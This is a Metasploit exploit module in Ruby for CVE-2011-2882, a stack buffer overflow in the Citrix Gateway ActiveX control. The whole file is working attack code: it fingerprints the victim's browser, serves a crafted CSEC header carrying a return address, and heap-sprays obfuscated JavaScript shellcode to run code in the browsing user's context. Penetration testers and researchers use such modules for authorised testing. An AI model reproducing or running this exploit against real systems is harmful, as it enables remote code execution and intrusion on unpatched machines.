## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability', 'Description' => %q{ This module exploits a stack based buffer overflow in the Citrix Gateway ActiveX control. Exploitation of this vulnerability requires user interaction. The victim must click a button in a dialog to begin a scan. This is typical interaction that users should be accustom to. Exploitation results in code execution with the privileges of the user who browsed to the exploit page. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michal Trojnara', #Initial discovery 'bannedit', 'sinn3r', ], 'References' => [ [ 'CVE', '2011-2882'], [ 'OSVDB', '74191' ], [ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90", }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ], [ 'IE 7 on Windows Vista', { 'Ret' => 0x0c0c0b0b } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense 'DefaultTarget' => 0)) end def exploit @ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx')) super end def get_target(request) t = target agent = request.headers['User-Agent'] vprint_status("User-Agent: #{agent}") if t.name =~ /Automatic/ if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Win XP + IE 6 t = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Win XP + IE 7 t = targets[2] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ #Win Vista + IE7 t = targets[2] elsif agent == 'nsepa' #Citrix Access Gateway requesting /epaq t = agent else #Target not supported t = nil end end return t, agent end def on_request_uri(cli, request) @mytarget, agent = get_target(request) if @mytarget.nil? vprint_status("Client requested: #{request.uri}.") #Target not supported, will not go on if @mytarget.nil? print_error("Target not supported: #{agent}") send_not_found(cli) return end if request.uri.match(/nsepa/) print_status("Sending nsepa.ocx") send_response(cli, @ocx, { 'Content-Type' => 'application/binary' }) return end if request.uri.match(/epaq/) padding = rand_text_alpha(300) csec = "eepa_0_" csec << padding[0, 259] csec << [@mytarget.ret].pack('V*') csec << padding[0, 68] result = rand_text_alpha(1000) send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } ) @mytarget = nil return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # payload in JS format code = Rex::Text.to_unescape(payload.encoded) #For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6 spray = <<-JS var heap_lib = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x1000) nops += nops; var offset = nops.substring(0, 0x550); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x20000) shellcode += shellcode; var block = shellcode.substring(0, (0x10000-6)/2); heap_lib.gc(); for (var i = 0; i < 0x6000; i++) { heap_lib.alloc(block); } JS spray = heaplib(spray, {:noobfu => true}) spray = ::Rex::Exploitation::JSObfu.new(spray) spray.obfuscate load = %Q| var d=document.getElementById("nsepadiv"); if(d) { d.innerHTML= ''; } else { alert('Internal Error'); } | # the ret slide gets executed via call [esi+45b] html = <<-EOS
EOS html = html.gsub(/^\t\t/, '') # we need to handle direct /epaq requests proc = Proc.new do |cli, req| on_request_uri(cli, req) end add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil print_status("Sending #{self.name} HTML") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end